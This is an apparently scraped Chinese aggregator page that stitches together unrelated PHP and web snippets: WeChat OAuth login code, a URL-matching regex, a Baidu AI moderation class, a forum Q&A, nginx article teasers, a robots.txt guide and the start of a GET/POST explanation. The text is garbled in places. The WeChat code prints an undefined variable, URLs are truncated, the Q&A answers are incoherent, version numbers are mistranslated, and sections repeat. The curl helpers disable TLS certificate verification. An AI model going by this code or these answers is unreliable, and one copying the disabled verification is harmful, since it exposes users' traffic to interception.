$url = "https://api.weixin.qq.com/sns/ ... id%3D$appid&secret=$key&code=$code&grant_type=authorization_code";
$s = file_get_contents($url);
$s = json_decode($s, true);
}
$access_token = $s["access_token"];
$openid = $s['openid'];
//第二步:根據全局access_token和openid查詢(xún)用戶(hù)信息
$get_user_info_url = "https://api.weixin.qq.com/sns/ ... t%3B.$access_token."&openid=".$openid."&lang=zh_CN";
$userinfo = $this->http_curl($get_user_info_url); // 獲取用戶(hù)信息
print_r($user_info);
}
public function http_curl($url){
//用curl傳參
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
//關(guān)閉ssl驗證
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch,CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
return json_decode($output, true);
}
最后打印的用戶(hù)信息:

四、礦坑總結:一號坑:
請求第一個(gè)接口獲取啟動(dòng)授權碼時(shí)報錯:redirect_uri域名與后臺配置不一致,錯誤碼為10003!但是公眾號配置沒(méi)問(wèn)題,所以在第一步請求接口獲取code時(shí),在回調地址參數中添加urlencode(回調地址)!

坑二:
在公眾號設置中,只需要配置網(wǎng)頁(yè)的授權域名,配置的域名不需要添加http!并且回調地址是自己在代碼中設置的,無(wú)需在公眾號中配置! ! !


坑三:

如果只是單純在h5網(wǎng)頁(yè)上獲取授權用戶(hù)的信息,不需要啟動(dòng)服務(wù)器配置! ! !

五、微信開(kāi)發(fā)文檔
鏈接:.
php抓取網(wǎng)頁(yè)指定內容(PHP怎樣用正則抓取頁(yè)面中的網(wǎng)址的相關(guān)內容嗎)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 62 次瀏覽 ? 2022-01-02 10:27
想知道PHP如何使用正則抓取頁(yè)面中URL的相關(guān)內容嗎?在本文中,我將為您講解使用常規PHP抓取頁(yè)面URL的相關(guān)知識和一些代碼示例。歡迎閱讀和指正。重點(diǎn):php,常規爬取,php,頁(yè)面爬取,php,爬取頁(yè)面指定內容,一起學(xué)習。
前言
鏈接也是超鏈接,它是從一個(gè)元素(文本、圖像、視頻等)到另一個(gè)元素(文本、圖像、視頻等)的鏈接。網(wǎng)頁(yè)中的鏈接一般分為三種,一種是絕對網(wǎng)址超鏈接,即一個(gè)頁(yè)面的完整路徑;另一種是相對URL超鏈接,一般鏈接到相同網(wǎng)站的其他頁(yè)面;另一種是頁(yè)面內的超鏈接,一般鏈接到同一頁(yè)面內的其他位置。
搞清楚鏈接的類(lèi)型就知道要抓取鏈接了,主要是絕對URL超鏈接和相對URL超鏈接。要寫(xiě)出正確的正則表達式,我們必須了解我們正在尋找的對象的模式。
先說(shuō)絕對鏈接,也叫URL(Uniform Resource Locator),它標識了互聯(lián)網(wǎng)上唯一的資源。 URL結構由三部分組成:協(xié)議、服務(wù)器名、路徑和文件名。
協(xié)議告訴瀏覽器對要打開(kāi)的文件的標識做什么,最常見(jiàn)的是http協(xié)議。本文也只考慮了HTTP協(xié)議,至于其他https、ftp、mailto、telnet協(xié)議等,可以根據需要自行添加。
服務(wù)器名稱(chēng)是告訴瀏覽器如何到達這個(gè)服務(wù)器的方式。通常是域名或IP地址,有時(shí)還包括端口號(默認為80)。在FTP協(xié)議中,還可以包括用戶(hù)名和密碼,本文暫不考慮。
路徑和文件名,通常用/分隔,表示文件的路徑和文件本身的名稱(chēng)。如果沒(méi)有具體的文件名,則訪(fǎng)問(wèn)該文件夾下的默認文件(可以在服務(wù)器端設置)。
現在很清楚了,要抓取的絕對鏈接的典型形式可以概括為
每個(gè)部分可以使用的字符范圍都有明確的規范。詳情請參考RFC1738。那么正則表達式就可以寫(xiě)出來(lái)了。
/(http|https):\/\/([\w\d\-_]+[\.\w\d\-_]+)[:\d+]?([\/]?[\w\/\.]+)/i
解釋如下: 查看全部
php抓取網(wǎng)頁(yè)指定內容(PHP怎樣用正則抓取頁(yè)面中的網(wǎng)址的相關(guān)內容嗎)
想知道PHP如何使用正則抓取頁(yè)面中URL的相關(guān)內容嗎?在本文中,我將為您講解使用常規PHP抓取頁(yè)面URL的相關(guān)知識和一些代碼示例。歡迎閱讀和指正。重點(diǎn):php,常規爬取,php,頁(yè)面爬取,php,爬取頁(yè)面指定內容,一起學(xué)習。
前言
鏈接也是超鏈接,它是從一個(gè)元素(文本、圖像、視頻等)到另一個(gè)元素(文本、圖像、視頻等)的鏈接。網(wǎng)頁(yè)中的鏈接一般分為三種,一種是絕對網(wǎng)址超鏈接,即一個(gè)頁(yè)面的完整路徑;另一種是相對URL超鏈接,一般鏈接到相同網(wǎng)站的其他頁(yè)面;另一種是頁(yè)面內的超鏈接,一般鏈接到同一頁(yè)面內的其他位置。
搞清楚鏈接的類(lèi)型就知道要抓取鏈接了,主要是絕對URL超鏈接和相對URL超鏈接。要寫(xiě)出正確的正則表達式,我們必須了解我們正在尋找的對象的模式。
先說(shuō)絕對鏈接,也叫URL(Uniform Resource Locator),它標識了互聯(lián)網(wǎng)上唯一的資源。 URL結構由三部分組成:協(xié)議、服務(wù)器名、路徑和文件名。
協(xié)議告訴瀏覽器對要打開(kāi)的文件的標識做什么,最常見(jiàn)的是http協(xié)議。本文也只考慮了HTTP協(xié)議,至于其他https、ftp、mailto、telnet協(xié)議等,可以根據需要自行添加。
服務(wù)器名稱(chēng)是告訴瀏覽器如何到達這個(gè)服務(wù)器的方式。通常是域名或IP地址,有時(shí)還包括端口號(默認為80)。在FTP協(xié)議中,還可以包括用戶(hù)名和密碼,本文暫不考慮。
路徑和文件名,通常用/分隔,表示文件的路徑和文件本身的名稱(chēng)。如果沒(méi)有具體的文件名,則訪(fǎng)問(wèn)該文件夾下的默認文件(可以在服務(wù)器端設置)。
現在很清楚了,要抓取的絕對鏈接的典型形式可以概括為
每個(gè)部分可以使用的字符范圍都有明確的規范。詳情請參考RFC1738。那么正則表達式就可以寫(xiě)出來(lái)了。
/(http|https):\/\/([\w\d\-_]+[\.\w\d\-_]+)[:\d+]?([\/]?[\w\/\.]+)/i
解釋如下:
php抓取網(wǎng)頁(yè)指定內容(之前做平臺內容發(fā)布審核都是自己構建一套違禁詞庫 )
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 79 次瀏覽 ? 2021-12-27 00:02
)
之前平臺內容發(fā)布審核是通過(guò)搭建一套違禁詞庫,通過(guò)代碼中的詞庫來(lái)判斷用戶(hù)發(fā)布的內容,現在可以使用百度ai api來(lái)完成這個(gè)功能。接下來(lái)我們簡(jiǎn)單說(shuō)一下怎么做:
首先打開(kāi)百度ai開(kāi)發(fā)平臺注冊賬號
進(jìn)入控制臺
創(chuàng )建自己的應用,獲取apikey和secret key
進(jìn)入文檔頁(yè)面文字審核:
圖片審核:
文檔很詳細,實(shí)現對用戶(hù)發(fā)布內容的審核和圖片審核非常方便簡(jiǎn)單。
我沒(méi)有使用官方的sdk,簡(jiǎn)單的集成了一個(gè)實(shí)踐。以下是我簡(jiǎn)單使用php實(shí)現的代碼演示:
use Nnt\Controller\Application;
class Sentive
{
protected $accessTokenUrl = 'https://aip.baidubce.com/oauth/2.0/token';//獲取token url
protected $textUrl = 'https://aip.baidubce.com/rest/2.0/antispam/v2/spam';//文本審核url
protected $imgUrl = 'https://aip.baidubce.com/api/v1/solution/direct/img_censor';//圖片審核url
protected $avatarUrl = 'https://aip.baidubce.com/rest/2.0/solution/v1/face_audit';//頭像審核url
protected $grant_type;
protected $client_id;
protected $client_secret;
function __construct()
{
$this->grant_type = 'client_credentials';
$this->client_id = 'xxx';//API Key
$this->client_secret = 'xxx';//Secret Key
}
static function request($url = '', $param = '')
{
if (empty($url) || empty($param)) {
return false;
}
$postUrl = $url;
$curlPost = $param;
$curl = curl_init();//初始化curl
curl_setopt($curl, CURLOPT_URL, $postUrl);//抓取指定網(wǎng)頁(yè)
curl_setopt($curl, CURLOPT_HEADER, 0);//設置header
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);//要求結果為字符串且輸出到屏幕上
curl_setopt($curl, CURLOPT_POST, 1);//post提交方式
curl_setopt($curl, CURLOPT_POSTFIELDS, $curlPost);
$data = curl_exec($curl);//運行curl
curl_close($curl);
return $data;
}
static function request_post($url = '', $param = array(), $type)
{
if (empty($url) || empty($param)) {
return false;
}
$postUrl = $url;
$curlPost = $param;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $postUrl);
curl_setopt($curl, CURLOPT_HEADER, 0);
// 要求結果為字符串
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
// post方式
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_POSTFIELDS, $curlPost);
if ($type == "text") {
curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
} else {
curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/json;charset=utf-8'));
}
curl_setopt($curl, CURLINFO_HEADER_OUT, true);
$data = curl_exec($curl);
$code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($code === 0) {
throw new \Exception(curl_error($curl));
}
curl_close($curl);
return $data;
}
//獲取token
public function getToken()
{
$redis = Application::$shared->di->getRedis();
$post_data['grant_type'] = $this->grant_type;
$post_data['client_id'] = $this->client_id;
$post_data['client_secret'] = $this->client_secret;
$o = "";
foreach ($post_data as $k => $v) {
$o .= "$k=" . urlencode($v) . "&";
}
$post_data = substr($o, 0, -1);
$res = self::request($this->accessTokenUrl, $post_data);
$redis->setkey("filterToken", json_decode($res, true)['access_token']);
return json_decode($res, true)['access_token'];
}
//文本審核
public function textVerify($data)
{
$redis = Application::$shared->di->getRedis();
$token = $redis->get("filterToken");
if (empty($token)) {
$token = $this->getToken();
}
$curl = $this->textUrl . "?access_token=" . $token;
$result = self::request_post($curl, $data, "text");
return json_decode($result, true);
}
//圖片審核
public function imgVerify($img)
{
$redis = Application::$shared->di->getRedis();
$token = $redis->get("filterToken");
if (empty($token)) {
$token = $this->getToken();
}
$curl = $this->imgUrl . "?access_token=" . $token;
$bodys = array(
'image' => $img,
'scenes' => array("ocr",
"face", "public", "politician", "antiporn", "terror", "webimage", "disgust",
'watermark')
);
$bodys = json_encode($bodys);
$result = self::request_post($curl, $bodys, "img");
return json_decode($result, true);
}
//頭像審核
public function avatarVerify($img)
{
$redis = Application::$shared->di->getRedis();
$token = $redis->get("filterToken");
if (empty($token)) {
$token = $this->getToken();
}
$curl = $this->avatarUrl . "?access_token=" . $token;
$bodys = array(
"configId" => "1",
"images" => $img
);
$result = self::request_post($curl, $bodys, "text");
return json_decode($result, true);
}
} 查看全部
php抓取網(wǎng)頁(yè)指定內容(之前做平臺內容發(fā)布審核都是自己構建一套違禁詞庫
)
之前平臺內容發(fā)布審核是通過(guò)搭建一套違禁詞庫,通過(guò)代碼中的詞庫來(lái)判斷用戶(hù)發(fā)布的內容,現在可以使用百度ai api來(lái)完成這個(gè)功能。接下來(lái)我們簡(jiǎn)單說(shuō)一下怎么做:
首先打開(kāi)百度ai開(kāi)發(fā)平臺注冊賬號
進(jìn)入控制臺
創(chuàng )建自己的應用,獲取apikey和secret key
進(jìn)入文檔頁(yè)面文字審核:
圖片審核:
文檔很詳細,實(shí)現對用戶(hù)發(fā)布內容的審核和圖片審核非常方便簡(jiǎn)單。
我沒(méi)有使用官方的sdk,簡(jiǎn)單的集成了一個(gè)實(shí)踐。以下是我簡(jiǎn)單使用php實(shí)現的代碼演示:
use Nnt\Controller\Application;
class Sentive
{
protected $accessTokenUrl = 'https://aip.baidubce.com/oauth/2.0/token';//獲取token url
protected $textUrl = 'https://aip.baidubce.com/rest/2.0/antispam/v2/spam';//文本審核url
protected $imgUrl = 'https://aip.baidubce.com/api/v1/solution/direct/img_censor';//圖片審核url
protected $avatarUrl = 'https://aip.baidubce.com/rest/2.0/solution/v1/face_audit';//頭像審核url
protected $grant_type;
protected $client_id;
protected $client_secret;
function __construct()
{
$this->grant_type = 'client_credentials';
$this->client_id = 'xxx';//API Key
$this->client_secret = 'xxx';//Secret Key
}
static function request($url = '', $param = '')
{
if (empty($url) || empty($param)) {
return false;
}
$postUrl = $url;
$curlPost = $param;
$curl = curl_init();//初始化curl
curl_setopt($curl, CURLOPT_URL, $postUrl);//抓取指定網(wǎng)頁(yè)
curl_setopt($curl, CURLOPT_HEADER, 0);//設置header
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);//要求結果為字符串且輸出到屏幕上
curl_setopt($curl, CURLOPT_POST, 1);//post提交方式
curl_setopt($curl, CURLOPT_POSTFIELDS, $curlPost);
$data = curl_exec($curl);//運行curl
curl_close($curl);
return $data;
}
static function request_post($url = '', $param = array(), $type)
{
if (empty($url) || empty($param)) {
return false;
}
$postUrl = $url;
$curlPost = $param;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $postUrl);
curl_setopt($curl, CURLOPT_HEADER, 0);
// 要求結果為字符串
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
// post方式
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_POSTFIELDS, $curlPost);
if ($type == "text") {
curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
} else {
curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/json;charset=utf-8'));
}
curl_setopt($curl, CURLINFO_HEADER_OUT, true);
$data = curl_exec($curl);
$code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($code === 0) {
throw new \Exception(curl_error($curl));
}
curl_close($curl);
return $data;
}
//獲取token
public function getToken()
{
$redis = Application::$shared->di->getRedis();
$post_data['grant_type'] = $this->grant_type;
$post_data['client_id'] = $this->client_id;
$post_data['client_secret'] = $this->client_secret;
$o = "";
foreach ($post_data as $k => $v) {
$o .= "$k=" . urlencode($v) . "&";
}
$post_data = substr($o, 0, -1);
$res = self::request($this->accessTokenUrl, $post_data);
$redis->setkey("filterToken", json_decode($res, true)['access_token']);
return json_decode($res, true)['access_token'];
}
//文本審核
public function textVerify($data)
{
$redis = Application::$shared->di->getRedis();
$token = $redis->get("filterToken");
if (empty($token)) {
$token = $this->getToken();
}
$curl = $this->textUrl . "?access_token=" . $token;
$result = self::request_post($curl, $data, "text");
return json_decode($result, true);
}
//圖片審核
public function imgVerify($img)
{
$redis = Application::$shared->di->getRedis();
$token = $redis->get("filterToken");
if (empty($token)) {
$token = $this->getToken();
}
$curl = $this->imgUrl . "?access_token=" . $token;
$bodys = array(
'image' => $img,
'scenes' => array("ocr",
"face", "public", "politician", "antiporn", "terror", "webimage", "disgust",
'watermark')
);
$bodys = json_encode($bodys);
$result = self::request_post($curl, $bodys, "img");
return json_decode($result, true);
}
//頭像審核
public function avatarVerify($img)
{
$redis = Application::$shared->di->getRedis();
$token = $redis->get("filterToken");
if (empty($token)) {
$token = $this->getToken();
}
$curl = $this->avatarUrl . "?access_token=" . $token;
$bodys = array(
"configId" => "1",
"images" => $img
);
$result = self::request_post($curl, $bodys, "text");
return json_decode($result, true);
}
}
php抓取網(wǎng)頁(yè)指定內容(php抓取網(wǎng)頁(yè)指定內容到本地數據庫的內容對外部返回)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 54 次瀏覽 ? 2021-12-22 15:05
php抓取網(wǎng)頁(yè)指定內容到本地數據庫,然后將數據庫的內容對外部返回。那么問(wèn)題來(lái)了,你的網(wǎng)頁(yè)不是一開(kāi)始就是正常的頁(yè)面嗎?為什么你要用php去抓取,
一些html特殊字符獲取失敗了。php解析了你的html字符串。然后還需要php解析數據庫內容,然后把數據庫內容輸出到頁(yè)面上。這時(shí)你就需要用javascript將js代碼轉換成一個(gè)html代碼頁(yè)面顯示。
至少要寫(xiě)上循環(huán)
php下最容易實(shí)現的prefixing就可以。
下載個(gè)yii2這樣的后端框架,然后在這個(gè)框架內部搭建phpserver(yii2)。完美實(shí)現你的需求,這個(gè)方案的問(wèn)題是你用yii2做web服務(wù)器,可用手機管理后端,手機太笨重,地球人都知道我說(shuō)的是什么。那么你想要java代碼,要么到后臺二次封裝出一個(gè)nginx主程序,這樣的話(huà),java代碼是在你的代碼里。要么就要自己手寫(xiě)java的循環(huán),一環(huán)扣一環(huán)。
php可以打包成exe不過(guò)就是傳送數據到后端數據庫
php服務(wù)器推送,用mmap()函數。
這里做的是特殊數據格式的捕獲,第一步需要利用rt包獲取這個(gè)文件;第二步需要使用專(zhuān)門(mén)做后端轉發(fā)的軟件digrajax將數據格式轉換為php代碼格式, 查看全部
php抓取網(wǎng)頁(yè)指定內容(php抓取網(wǎng)頁(yè)指定內容到本地數據庫的內容對外部返回)
php抓取網(wǎng)頁(yè)指定內容到本地數據庫,然后將數據庫的內容對外部返回。那么問(wèn)題來(lái)了,你的網(wǎng)頁(yè)不是一開(kāi)始就是正常的頁(yè)面嗎?為什么你要用php去抓取,
一些html特殊字符獲取失敗了。php解析了你的html字符串。然后還需要php解析數據庫內容,然后把數據庫內容輸出到頁(yè)面上。這時(shí)你就需要用javascript將js代碼轉換成一個(gè)html代碼頁(yè)面顯示。
至少要寫(xiě)上循環(huán)
php下最容易實(shí)現的prefixing就可以。
下載個(gè)yii2這樣的后端框架,然后在這個(gè)框架內部搭建phpserver(yii2)。完美實(shí)現你的需求,這個(gè)方案的問(wèn)題是你用yii2做web服務(wù)器,可用手機管理后端,手機太笨重,地球人都知道我說(shuō)的是什么。那么你想要java代碼,要么到后臺二次封裝出一個(gè)nginx主程序,這樣的話(huà),java代碼是在你的代碼里。要么就要自己手寫(xiě)java的循環(huán),一環(huán)扣一環(huán)。
php可以打包成exe不過(guò)就是傳送數據到后端數據庫
php服務(wù)器推送,用mmap()函數。
這里做的是特殊數據格式的捕獲,第一步需要利用rt包獲取這個(gè)文件;第二步需要使用專(zhuān)門(mén)做后端轉發(fā)的軟件digrajax將數據格式轉換為php代碼格式,
php抓取網(wǎng)頁(yè)指定內容(猜你在找的Nginx相關(guān)文章禁止直接ip、未配置域名訪(fǎng)問(wèn)配置問(wèn)題背景)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 57 次瀏覽 ? 2021-12-14 23:30
猜猜你在尋找nginx的什么文章
Nginx禁止直接IP和未配置的域名訪(fǎng)問(wèn)配置
問(wèn)題背景最近,意外訪(fǎng)問(wèn)為在線(xiàn)域名配置的nginx IP后,發(fā)現HTTP實(shí)際上是可訪(fǎng)問(wèn)的,HTTPS direct IP access瀏覽器會(huì )報告證書(shū)不安全。單擊此處進(jìn)行詳細檢查,發(fā)現它已返回到為nginx配置的AP
生成滿(mǎn)足chrome要求的自簽名HTTPS證書(shū)
根據文章為nginx配置自簽名SSL證書(shū)。生成自簽名證書(shū)后,發(fā)現使用Chrome瀏覽器訪(fǎng)問(wèn)將報告無(wú)效的自簽名SSL證書(shū)-“subject alter”
在MacOS Sierra 10.12中構建PHP開(kāi)發(fā)環(huán)境
MacOS Sierra 11.12已經(jīng)預裝了ruby、PHP(5.>6)>)、Perl、Python和其他常見(jiàn)腳本語(yǔ)言,以及Apache HTTP服務(wù)器。因為nginx可以用作HTTP服務(wù)器
在MacOS High Sierra 10.13中構建PHP開(kāi)發(fā)環(huán)境
2017年9月26日,蘋(píng)果正式發(fā)布了新一代“MacOS”,版本為high Sierra(11.13)>。Ruby已預裝在MacOS high Sierra中(
無(wú)法啟動(dòng)nginx-高性能web服務(wù)器
報告此錯誤時(shí),我們可以檢查錯誤日志并進(jìn)入以下目錄。錯誤信息如下:解決方案:在/data/下創(chuàng )建wwwlogs目錄,重啟nginx,systemctl重啟nginx將成功啟動(dòng)
Nginx過(guò)程模型
多進(jìn)程模式在介紹nginx的進(jìn)程模型之前,請說(shuō)明nginx也支持單主單進(jìn)程模式,但這種模式效率低下,一般只在開(kāi)發(fā)環(huán)境中使用。所以這不是本文的重點(diǎn)。Nginx默認使用多條目
nginx簡(jiǎn)介
常見(jiàn)的web服務(wù)器產(chǎn)品目前市場(chǎng)上流行的web服務(wù)器主要有Apache、Microsoft IIS、sun、nginx、Tomcat、lighttpd等,從上圖可以看出,nginx的市場(chǎng)份額在不斷增加 查看全部
php抓取網(wǎng)頁(yè)指定內容(猜你在找的Nginx相關(guān)文章禁止直接ip、未配置域名訪(fǎng)問(wèn)配置問(wèn)題背景)
猜猜你在尋找nginx的什么文章
Nginx禁止直接IP和未配置的域名訪(fǎng)問(wèn)配置
問(wèn)題背景最近,意外訪(fǎng)問(wèn)為在線(xiàn)域名配置的nginx IP后,發(fā)現HTTP實(shí)際上是可訪(fǎng)問(wèn)的,HTTPS direct IP access瀏覽器會(huì )報告證書(shū)不安全。單擊此處進(jìn)行詳細檢查,發(fā)現它已返回到為nginx配置的AP
生成滿(mǎn)足chrome要求的自簽名HTTPS證書(shū)
根據文章為nginx配置自簽名SSL證書(shū)。生成自簽名證書(shū)后,發(fā)現使用Chrome瀏覽器訪(fǎng)問(wèn)將報告無(wú)效的自簽名SSL證書(shū)-“subject alter”
在MacOS Sierra 10.12中構建PHP開(kāi)發(fā)環(huán)境
MacOS Sierra 11.12已經(jīng)預裝了ruby、PHP(5.>6)>)、Perl、Python和其他常見(jiàn)腳本語(yǔ)言,以及Apache HTTP服務(wù)器。因為nginx可以用作HTTP服務(wù)器
在MacOS High Sierra 10.13中構建PHP開(kāi)發(fā)環(huán)境
2017年9月26日,蘋(píng)果正式發(fā)布了新一代“MacOS”,版本為high Sierra(11.13)>。Ruby已預裝在MacOS high Sierra中(
無(wú)法啟動(dòng)nginx-高性能web服務(wù)器
報告此錯誤時(shí),我們可以檢查錯誤日志并進(jìn)入以下目錄。錯誤信息如下:解決方案:在/data/下創(chuàng )建wwwlogs目錄,重啟nginx,systemctl重啟nginx將成功啟動(dòng)
Nginx過(guò)程模型
多進(jìn)程模式在介紹nginx的進(jìn)程模型之前,請說(shuō)明nginx也支持單主單進(jìn)程模式,但這種模式效率低下,一般只在開(kāi)發(fā)環(huán)境中使用。所以這不是本文的重點(diǎn)。Nginx默認使用多條目
nginx簡(jiǎn)介
常見(jiàn)的web服務(wù)器產(chǎn)品目前市場(chǎng)上流行的web服務(wù)器主要有Apache、Microsoft IIS、sun、nginx、Tomcat、lighttpd等,從上圖可以看出,nginx的市場(chǎng)份額在不斷增加
php抓取網(wǎng)頁(yè)指定內容(SEO新手經(jīng)常會(huì )遇到的問(wèn)題.txt怎么辦?)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 59 次瀏覽 ? 2021-12-14 23:22
Robots.txt怎么寫(xiě)?這是很多SEO新手經(jīng)常遇到的問(wèn)題。
robots.txt是搜索引擎訪(fǎng)問(wèn)網(wǎng)站時(shí)首先要檢查的文件。Robots.txt可以告訴搜索引擎你的網(wǎng)站哪些頁(yè)面可以是收錄,哪些頁(yè)面不能是收錄,如果你不想讓搜索引擎收錄你< @網(wǎng)站的部分內容,請在您的網(wǎng)站上使用robots.txt文件指定搜索引擎的抓取范圍。
也許有朋友說(shuō),我希望我可以抓取更多的搜索引擎,并禁用它?事實(shí)上,有些站長(cháng)不希望網(wǎng)站的某些頁(yè)面被抓取,因為它們出現在搜索結果中時(shí)可能對用戶(hù)沒(méi)有意義;某些網(wǎng)站管理員不希望抓取某些類(lèi)型的網(wǎng)頁(yè)。已爬取,因為它們是內容重復的網(wǎng)頁(yè),有些站長(cháng)不希望特定網(wǎng)頁(yè)被爬取,因為它是敏感或機密內容...
Robots.txt 文件在哪里?
robots.txt應該放在網(wǎng)站的根目錄下。例如,當蜘蛛訪(fǎng)問(wèn)一個(gè)網(wǎng)站(例如)時(shí),它會(huì )首先檢查網(wǎng)站中是否存在該文件。如果蜘蛛找到該文件,它會(huì )根據文件的內容確定其訪(fǎng)問(wèn)權限的范圍。
如何編寫(xiě)Robots.txt
以下是為 WordPress 博客編寫(xiě) Robots.txt 的常用方法:
User-agent: *
# Disallow all directories and files within(禁止抓取以下目錄中的文件)
Disallow: /cgi-bin/
Disallow: /wp-admin/
Disallow: /wp-includes/
# Disallow all files ending with these extensions(禁止抓取以下后綴名的文件)
Disallow: /*.php$
Disallow: /*.js$
Disallow: /*.inc$
Disallow: /*.css$
# Disallow parsing individual post feeds, categories and trackbacks..(禁止抓取Feeds,文章目錄頁(yè)面和trackbacks)
Disallow: */trackback/
Disallow: */feed/
Disallow: /category/*
如何在Robots.txt中編寫(xiě)檢測工具
robots.txt 協(xié)議不是規范,而是約定。因此,每個(gè)搜索引擎對robots.txt的遵守方式都不一樣。修改robots.txt文件時(shí),可以使用以下工具檢查是否符合規范。
谷歌網(wǎng)站管理員工具:
百度站長(cháng)工具:
機器人檢測工具:
我們可以看一個(gè)robots.txt文件的檢測結果,從中你也會(huì )學(xué)到如何編寫(xiě)Robots.txt。
原文:蝸牛博客 查看全部
php抓取網(wǎng)頁(yè)指定內容(SEO新手經(jīng)常會(huì )遇到的問(wèn)題.txt怎么辦?)
Robots.txt怎么寫(xiě)?這是很多SEO新手經(jīng)常遇到的問(wèn)題。
robots.txt是搜索引擎訪(fǎng)問(wèn)網(wǎng)站時(shí)首先要檢查的文件。Robots.txt可以告訴搜索引擎你的網(wǎng)站哪些頁(yè)面可以是收錄,哪些頁(yè)面不能是收錄,如果你不想讓搜索引擎收錄你< @網(wǎng)站的部分內容,請在您的網(wǎng)站上使用robots.txt文件指定搜索引擎的抓取范圍。
也許有朋友說(shuō),我希望我可以抓取更多的搜索引擎,并禁用它?事實(shí)上,有些站長(cháng)不希望網(wǎng)站的某些頁(yè)面被抓取,因為它們出現在搜索結果中時(shí)可能對用戶(hù)沒(méi)有意義;某些網(wǎng)站管理員不希望抓取某些類(lèi)型的網(wǎng)頁(yè)。已爬取,因為它們是內容重復的網(wǎng)頁(yè),有些站長(cháng)不希望特定網(wǎng)頁(yè)被爬取,因為它是敏感或機密內容...
Robots.txt 文件在哪里?
robots.txt應該放在網(wǎng)站的根目錄下。例如,當蜘蛛訪(fǎng)問(wèn)一個(gè)網(wǎng)站(例如)時(shí),它會(huì )首先檢查網(wǎng)站中是否存在該文件。如果蜘蛛找到該文件,它會(huì )根據文件的內容確定其訪(fǎng)問(wèn)權限的范圍。
如何編寫(xiě)Robots.txt
以下是為 WordPress 博客編寫(xiě) Robots.txt 的常用方法:
User-agent: *
# Disallow all directories and files within(禁止抓取以下目錄中的文件)
Disallow: /cgi-bin/
Disallow: /wp-admin/
Disallow: /wp-includes/
# Disallow all files ending with these extensions(禁止抓取以下后綴名的文件)
Disallow: /*.php$
Disallow: /*.js$
Disallow: /*.inc$
Disallow: /*.css$
# Disallow parsing individual post feeds, categories and trackbacks..(禁止抓取Feeds,文章目錄頁(yè)面和trackbacks)
Disallow: */trackback/
Disallow: */feed/
Disallow: /category/*
如何在Robots.txt中編寫(xiě)檢測工具
robots.txt 協(xié)議不是規范,而是約定。因此,每個(gè)搜索引擎對robots.txt的遵守方式都不一樣。修改robots.txt文件時(shí),可以使用以下工具檢查是否符合規范。
谷歌網(wǎng)站管理員工具:
百度站長(cháng)工具:
機器人檢測工具:
我們可以看一個(gè)robots.txt文件的檢測結果,從中你也會(huì )學(xué)到如何編寫(xiě)Robots.txt。

原文:蝸牛博客
php抓取網(wǎng)頁(yè)指定內容(和服務(wù)器之間被用到的方法是:GET和POST。)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 63 次瀏覽 ? 2021-12-14 20:35
在客戶(hù)端和服務(wù)器之間的請求-響應中,最常用的兩種方法是:GET 和 POST。
從指定資源獲取請求數據;
POST-將要處理的數據提交到指定資源;
兩者的比較:
2、 我們來(lái)看看兩種抓包方式的異同點(diǎn);
(1)獲取方法
GET 方法是最常見(jiàn)和最簡(jiǎn)單的方法。默認的 HTTP 請求方法是 GET。
一般用于我們從服務(wù)器獲取數據,我們可以直接輸入URL,無(wú)需其他轉換,即所有需要請求的信息都收錄在URL中。
* 沒(méi)有請求體
* 數據必須在1K以?xún)龋?br /> * GET 請求數據會(huì )暴露在瀏覽器的地址欄中
關(guān)于獲取請求的其他一些注意事項:
常用操作:
?、僭跒g覽器地址欄中直接給出URL,那么一定是GET請求;
?、邳c(diǎn)擊頁(yè)面上的超鏈接也必須是GET請求;
?、?提交表單時(shí),表單默認使用GET請求,但可以設置為POST;
get請求是在url后面以拼接方式傳遞參數,但是如果參數是中文,則需要進(jìn)行轉碼,否則會(huì )報錯。
比如我們訪(fǎng)問(wèn)豆瓣官網(wǎng),在搜索框中輸入“電影”關(guān)鍵字:
可以看到瀏覽器中的請求是/search?q=movie
如果我們直接模擬上面的URL請求,會(huì )報如下錯誤:
UnicodeEncodeError: 'ascii' codec can't encode characters in position 14-15: ordinal not in range(128)
原因是在使用瀏覽器訪(fǎng)問(wèn)的時(shí)候,會(huì )自動(dòng)幫我們轉碼參數,但是現在我們用代碼訪(fǎng)問(wèn),所以需要我們自己處理。
from urllib.request import urlopen
from urllib.request import Request
from random import choice
# 1.爬取站點(diǎn)訪(fǎng)問(wèn)地址
url = "https://www.douban.com/search?q=電影"
# 2.模擬多個(gè)瀏覽器的User-Agent(分別為Chrome、Firefox、Edge)
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36",
